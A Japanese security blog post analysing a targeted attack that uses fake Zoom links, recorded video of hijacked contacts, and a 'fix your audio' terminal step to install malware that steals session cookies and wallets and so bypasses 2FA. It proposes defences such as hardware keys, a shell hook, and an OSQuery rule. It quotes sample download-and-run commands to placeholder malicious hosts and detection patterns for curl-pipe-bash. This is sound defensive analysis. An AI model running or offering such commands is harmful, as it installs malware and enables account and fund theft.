【セッションクッキー】
Zoomを装った標的型攻撃で2FA突破

by

先月、ビットコイン界隈で立て続けに起きたアカウント乗っ取り事件の手口が、かなり巧妙で背筋が寒くなりました。被害者は全員2FAを有効にしていたにも関わらず、です。

手口の詳細を追っていくと、「これは防げないのでは」と思わせる完成度で、同時に私たちが普段何気なく使っているセッション管理の仕組みが、いかに攻撃の起点になり得るかを痛感させられました。今回はこの攻撃手法を分解しながら、技術的な対策の可能性について考えてみます。

関連記事

1. 攻撃の全体像：信頼を逆手に取る5つのステップ

まず攻撃の流れを整理します。
ポイントは、各段階で「本物らしさ」が積み重なっていく点です。

攻撃の5つのステップ 1 知人から 招待 2 偽Zoom リンク 3 録画映像 で偽装 4 ターミナル 操作要求 5 セッションクッキー 窃取で2FA突破 各段階で「本物らしい」 URLチェックのみが 唯一の防御ポイント

1. 侵入口は既に乗っ取られた知人のアカウント

ある日、普段やり取りしているビットコイン仲間からZoom会議の招待が届きます。この時点で既に、送信者のアカウントは過去の被害者として乗っ取られています。つまり、受信者側には何の疑いも生まれません。

2. カレンダー招待 → 直前にZoomリンク送付

まずカレンダー招待が来て、会議開始直前に「Zoomリンク」が送られてきます。急いでいる状況では、URLを細かくチェックする余裕はありません。そしてここが最初の罠です。

送られてくるのは例えば、
https://zoom.webus05.us/j/... のようなURL。
本物のZoomは https://webus05.zoom.us/... なので、ホスト名とサブドメインが入れ替わっています1。
プレビュー画面も本物と見分けがつかないため、かなり見落としやすい。

3. 偽Zoomアプリと録画映像

リンクをクリックすると、本物そっくりの偽Zoomアプリが起動します。そしてここからが恐ろしいのですが、画面には知人の顔が映ります。ただしこれはディープフェイクではなく、その知人が過去に同じ攻撃を受けた際の録画映像です。数秒間の録画でも、画質も表情も完璧なので、「本人だ」と確信してしまいます。

4. 音声トラブルを装ったマルウェア配布

会議が始まると、偽アプリが「あなたの音声が聞こえません。アップデートが必要です」と表示します。アップデートが失敗したように見せかけ、コマンドラインでのトラブルシューティングガイドが提示されます。

ここで提示されるのは、例えば以下のようなコマンドです：

curl https://malicious-domain.com/fix.sh | bashCode language: JavaScript (javascript)

Mac/Linuxユーザーなら見覚えのある形式です。実際、権限エラーやパス設定のトラブルシューティングでターミナルを使うことは珍しくありません。技術リテラシーの高い人ほど「自分で直せる」と思い込んでしまう状況が作られています。

5. セッションクッキーの窃取

このコマンドを実行した瞬間、マルウェアがインストールされます。動作は高速で、1〜2秒で完了します。主な動作は2つ：

  • ビットコインウォレットのスキャンとアクセス窃取
  • チャットアプリ（Telegram等）のセッションクッキー窃取

ここからが本題で、セッションクッキーが盗まれるとどうなるか。

2. セッションクッキーが盗まれると2FAは無意味になる

セッションクッキーとは、ログイン状態を維持するためにブラウザやアプリが保存する認証トークンのことです。例えばTelegramにログインする際、パスワードと2FAコードを一度入力すれば、次回からは自動的にログインできます。これは、ローカルに保存されたセッションクッキーを使って「この人は以前認証済み」とサーバーに証明しているからです。

セッションクッキーで2FA突破 正常なログイン パスワード + 2FA ↓ セッションクッキー保存 セッションクッキー 攻撃者の悪用 クッキー窃取 ↓ パスワード不要 2FA不要 サーバーから見れば「本人」 有効なクッキー = 認証済みユーザー

攻撃者がこのセッションクッキーを盗むと、パスワードも2FAコードも不要になります2。サーバー側から見れば、「有効なセッションクッキーを持っている = 本人」と判断されるためです。攻撃者は文字通り「あなた」として振る舞えます。

この仕組み自体は、Webサービスの標準的なセッション管理です3。ユーザーが毎回パスワードと2FAを入力する手間を省くためには必要な仕組みですが、同時に「一度端末にアクセスされたら終わり」という脆弱性を内包しています。

3. 防御の難しさ：どの段階も「本物らしい」

この攻撃が恐ろしいのは、各段階で疑いを持ちにくい点です。

  • 知人からの連絡（実際に乗っ取られたアカウント）
  • 知人の顔が見える（録画だが判別不可）
  • Zoomの公式UI（完璧な複製）
  • ターミナル操作の要求（技術者には自然に見える）

唯一の防御ポイントは「URLの確認」ですが、zoom.webus05.us と webus05.zoom.us の違いを急いでいる時に見抜くのは容易ではありません。特にモバイルでは画面が小さく、さらに困難です。

投稿者が提唱する「ゴールデンルール」は、こうした状況を踏まえたものです：

通話中にターミナル操作を求められたら、その時点で即座に終了する

技術的スキルに依存せず、誰でも実行できるルールです。正規のZoomサポートが、進行中の会議でコマンドライン操作を要求することはありません。

4. 「ターミナルで修正」は自然に見えてしまう

ただ、ここで一つ問題があります。技術者にとって「ターミナルで問題を修正する」のは日常的な行為です。

  • 音声デバイスの認識エラー → 実際にZoomでよくある問題
  • 権限エラーの解決 → chmod や sudo を使うのは普通
  • パス設定の調整 → .bashrc や .zshrc を編集することもある

つまり、「Zoomの音声が動かないからターミナルで直す」という流れ自体は、技術的に不自然ではありません。むしろリテラシーの高い人ほど「自分で解決できる」と思い込みやすい状況です。

5. セッションデータの送信を技術的に防げないか

では、セッションクッキーが盗まれること自体を防げないのでしょうか。いくつかの技術的アプローチを考えてみます。

技術的防御の限界と対策 根本的なジレンマ ユーザー権限 = マルウェアの権限 ✗ 限界あり HTTPOnly → OS読取可 暗号化 → 同権限復号可 完全隔離 → 利用不可 ○ 実効性あり ハードウェアキー 重要操作の再認証 デバイス物理分離 端末への侵入を防ぐことが最重要

5.1. ブラウザレベルの保護：限界がある

HTTPOnly属性を持つクッキーは、JavaScriptからアクセスできません。これはXSS攻撃への対策として有効です。しかし今回のようなマルウェアは、OS/ファイルシステムレベルでクッキーファイルを直接読み取ります。

一部のブラウザ（Chromeなど）は、OSのキーチェーンを使ってクッキーを暗号化しています4。
ただし、ユーザー権限で動作するマルウェアは、同じキーチェーンにアクセスできます。
なぜなら、正規のブラウザがアクセスできる情報は、同じユーザー権限で動くプロセスからもアクセス可能だからです。

5.2. 根本的な問題：ユーザー権限の壁

ここに根本的なジレンマがあります。セッションクッキーは、ユーザー自身がアクセスする必要があります（ブラウザやアプリがログイン状態を維持するため）。そのため、完全に隔離することは不可能です。

一度コンピュータへの実行権限を与えたら、ユーザーができることは全てマルウェアもできる。

これがセキュリティの大原則です。だからこそ、端末への侵入を防ぐことが最重要になります。

5.3. 実効性のある対策：多層防御

完全な防御は難しいですが、被害を限定する方法はあります。

ハードウェアセキュリティキー（YubiKeyなど）

セッションクッキーだけでは不十分にし、物理デバイスを必須にする方法です5。
WebAuthn/FIDO2プロトコルを使えば、ログイン時だけでなく重要操作（送金など）の際にも物理キーを要求できます6。
ただし、ユーザー体験の悪化とコストが課題です。

重要操作での再認証

送金や連絡先への大量メッセージ送信など、攻撃者が悪用しやすい操作については、セッションクッキーとは別に2FAを要求する設計です。面倒ですが、被害を限定できます。

異常検知とセッション無効化

異なる地理的位置からの同時アクセスや、デバイスフィンガープリントの急激な変化を検知したら、全セッションを無効化する仕組みです。Telegramなど一部のサービスは既に実装していますが、検知精度の向上が課題です。

金融資産用デバイスの物理的分離

最もシンプルで確実な方法は、ビットコインウォレットを日常使用するPCとは別のデバイス（ハードウェアウォレットや専用端末）に隔離することです。Zoom会議をするPCにウォレットがなければ、マルウェアに感染しても資産は守られます。

6. ターミナルコマンドに警告を出すことは可能か

もう一段踏み込むと、危険なターミナルコマンドを実行する前に警告を出すことはできないでしょうか。管理者権限を求めるダイアログは既にありますが、「アップデート」と「マルウェア」の区別がつきません。

6.1. シェルレベルでのフック実装

bashやzshには、コマンド実行前にフック関数を挟める仕組みがあります。例えばこんな感じです：

# ~/.bashrc または ~/.zshrc に追加
preexec() {
    local cmd="$1"

    # 危険パターンの検出
    if [[ "$cmd" =~ curl.*\|.*bash ]] || \
       [[ "$cmd" =~ wget.*\|.*sh ]] || \
       [[ "$cmd" =~ chmod.*\+x.*\&\&.* ]]; then

        echo "⚠️  危険なコマンドを検出しました"
        echo "📝 実行内容: リモートからスクリプトをダウンロードして即座に実行"
        echo "🚨 リスク: マルウェア感染、データ窃取の可能性"
        echo ""
        echo "✅ 公式アップデートは通常:"
        echo "   • App Store経由"
        echo "   • システム設定の「ソフトウェアアップデート」"
        echo "   • 開発者の署名付きインストーラー"
        echo ""
        read -p "本当に実行しますか? (yes/NO): " confirm
        [[ "$confirm" != "yes" ]] && return 1
    fi
}Code language: PHP (php)

これで curl https://malicious.com/script.sh | bash のようなコマンドを実行前に警告できます。

6.2. 正規のアップデートとの区別

問題は、開発者にとって正当な使用も多い点です。例えば：

# Docker, Rust, Node.jsなどのインストール
curl https://get.docker.com | sh
curl https://sh.rustup.rs | sh
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bashCode language: PHP (php)

これらは公式の推奨インストール方法ですが、パターン的には「危険なコマンド」に該当します7。

解決策としては、ホワイトリスト機能を実装し、初回実行時に「このドメインを信頼しますか？」と確認する方法が考えられます。または、コンテキストに応じて判断する（開発環境では警告を緩和するなど）ことも可能です。

6.3. より高度な実装：コード署名の検証

macOSのGatekeeperやWindowsのSmartScreenのように、ダウンロードされたスクリプトの署名を検証する仕組みをターミナルにも適用できれば理想的です。

判別可能な要素:

正規のアップデート：

  • 署名された実行ファイル（codesignで検証可能）
  • 既知の公式ドメインからのダウンロード
  • パッケージマネージャー経由（homebrew、aptなど）

不審なコマンド：

  • 未署名のスクリプト
  • 未知のドメインから直接実行
  • パイプ経由の即座実行（検証の余地なし）
  • 手動でコピペされたコマンド（会議中に提示されたものなど）

6.4. 既存ツールの活用

Little Snitch（macOS）やLuLu（オープンソース）のようなファイアウォールツールは、アプリごとのネットワーク接続を監視できます。新しいプロセスが外部に接続しようとすると警告が出るため、マルウェアの初動を検知できる可能性があります。

また、OSQueryのようなエンドポイント監視ツールを使えば、不審なターミナル経由のダウンロードを検出できます：

SELECT 
    p.name, p.cmdline, p.pid
FROM processes p
WHERE 
    p.name IN ('bash', 'zsh', 'sh')
    AND p.cmdline LIKE '%curl%'
    AND p.cmdline LIKE '%|%';Code language: JavaScript (javascript)

ただしこれらは事後検知なので、実行前に止めるにはシェルフックやOS統合が必要です。

7. プラットフォーム側ができること

個人レベルの対策はさておき、ZoomやTelegramのようなプラットフォーム側でできることも考えてみます。

7.1. Zoom側の対策

ドメイン認証バッジ

公式アプリから起動した場合のみ、視覚的なバッジを表示する方法です。ブラウザ版で偽サイトにアクセスしている場合、このバッジが表示されないため気づけます。

非公式ドメインの検出

ブラウザ拡張機能やCDNレベルで、Zoom UIを模倣したページを検出し、警告を表示する仕組みです8。
技術的にはContent Security PolicyやCertificate Transparencyログの監視で実現できます。

URLプレビューの改善

現状のURLプレビューは、https://zoom.webus05.us/j/... をそのまま表示するだけです。これを以下のように改善できないでしょうか：

ドメイン: webus05.us
⚠️ これはZoom公式ドメイン（*.zoom.us）ではありませんCode language: CSS (css)

ドメインを明示的に分解して表示すれば、ユーザーが気づきやすくなります。

7.2. Telegram側の対策

セッション監視の強化

異なる地理的位置からの同時アクセスや、デバイスフィンガープリントの急激な変化を検出し、全セッションを無効化する仕組みです。Telegramは既に実装していますが、精度向上の余地があります。

重要操作での再認証

連絡先への大量メッセージ送信（攻撃の次の段階）や、アカウント設定の変更時に、セッションクッキーとは別に2FAを要求する設計です。

7.3. 社会的タブー化の重要性

技術的対策に加え、「通話中にターミナル操作を指示することはない」とZoom公式が明示的に広報することも重要です。アプリ内に警告メッセージを表示したり、サポートページで注意喚起することで、ユーザーの警戒心を高められます。

8. 現実的な防御戦略

技術的対策を色々考えてきましたが、結局のところ単一の解決策はありません。多層防御を組み合わせるしかないのが現実です。

現実的な防御戦略 個人 シェルフック HWキー利用 デバイス分離 プラットフォーム URLプレビュー 異常検知精度向上 タブー化推進 OS 署名検証 サンドボックス エンクレーブ ゴールデンルール 通話中のターミナル操作要求 → 即座に終了

個人でできること：

  • シェルフックの導入（技術者向け）
  • ハードウェアキーの使用（金融資産を扱う場合）
  • 資産用デバイスの物理的分離

プラットフォームでできること：

  • URLプレビューの改善
  • 異常検知の精度向上
  • 社会的タブー化の推進

OS/ブラウザレベルでできること：

  • ターミナルコマンドの署名検証
  • サンドボックス強化
  • セキュアエンクレーブの活用

ただ、最も効果的なのは「異常な要求への警戒」という人間側の判断です。技術は補助にすぎません。

この攻撃が教えてくれるのは、2FAやセッション管理といった標準的なセキュリティ機構も、前提条件（端末が安全であること）が崩れると無力になるという事実です。そして、ソーシャルエンジニアリングと技術的手法を組み合わせた攻撃は、今後も進化し続けるでしょう。

完璧な防御は不可能ですが、基本的な警戒心と多層防御の組み合わせで、大半のリスクは回避できます。何より、「通話中にターミナル操作を求められたら即座に切る」というシンプルなルールが、結局のところ最も実用的な防御策なのかもしれません。

  1. 2024年以降、Zoomの正規インフラを悪用したフィッシング攻撃が急増しています。攻撃者は正規のZoomドメイン（docs.zoom.usなど）や、類似ドメイン（zoomcommunications.com、zoomvideoconference.comなど）を使用し、SPF、DKIM、DKIMの認証をパスするため、従来のメールセキュリティゲートウェイでは検知困難です – Zoom Docs and Events Exploited in New Phishing Campaign
  2. セッションクッキー窃取による2FA突破は「Pass-the-Cookie攻撃」として知られ、近年急増しています。FBIは2024年10月、サイバー犯罪者がRemember-Meクッキーを窃取してメールアカウントに不正アクセスする事例について警告を発出しました – Cybercriminals Are Stealing Cookies to Bypass Multifactor Authentication
  3. セッションクッキーはHTTPプロトコルの基本機能であり、ユーザーの利便性のために広く採用されています。しかし、Recorded Futureの調査によると、2021年4月から2022年4月にかけて、セッションクッキー関連の攻撃への言及が着実に増加しており、攻撃者の関心が高まっていることが示されています – Session Hijacking and MFA Bypass
  4. ChromeはWindows DPAPIやmacOSのキーチェーンを使用してクッキーを暗号化していますが、ユーザー権限で動作するマルウェアは同じAPIを使ってクッキーを復号化できます。mimikatzのようなツールを使えば、簡単にクッキーを抽出可能です – Bypassing MFA with the Pass-the-Cookie Attack
  5. FIDO2/WebAuthnは公開鍵暗号を使用し、認証がドメインに暗号学的に紐付けられるため、フィッシング攻撃に対して耐性があります。Googleは従業員がセキュリティキーを使用することで、アカウント乗っ取りがゼロになったと報告しています – Why FIDO2 is More Secure Than TOTP
  6. ただし、FIDO2も完全ではありません。Silverfortの研究者は、FIDO2認証後のセッショントークンが適切に保護されていない場合、MITM攻撃によってセッションハイジャックが可能であることを実証しています。トークンバインディングなどの追加対策が推奨されます – Using MITM to bypass FIDO2 phishing-resistant protection
  7. マルウェアがセッションクッキーを窃取する手口は、Linus Media Groupへの攻撃でも実証されています。攻撃者は偽のスポンサー文書を通じてマルウェアを配布し、ユーザー権限で動作するスクリプトがブラウザのクッキーデータベースを直接読み取り、セッショントークンを窃取しました – Malware Hacks using browser cookies that bypasses 2fa
  8. 2025年現在、Zoom関連のフィッシング攻撃は、ChainLinkフィッシング手法を使用して複数の正規ドメインを経由することで検知を回避しています。KeepAwareのようなブラウザネイティブのセキュリティソリューションは、レンダリングされたページと行動パターンをリアルタイム分析することで、このような攻撃を検出できます – Zoom Docs Abused in ChainLink Phishing Attack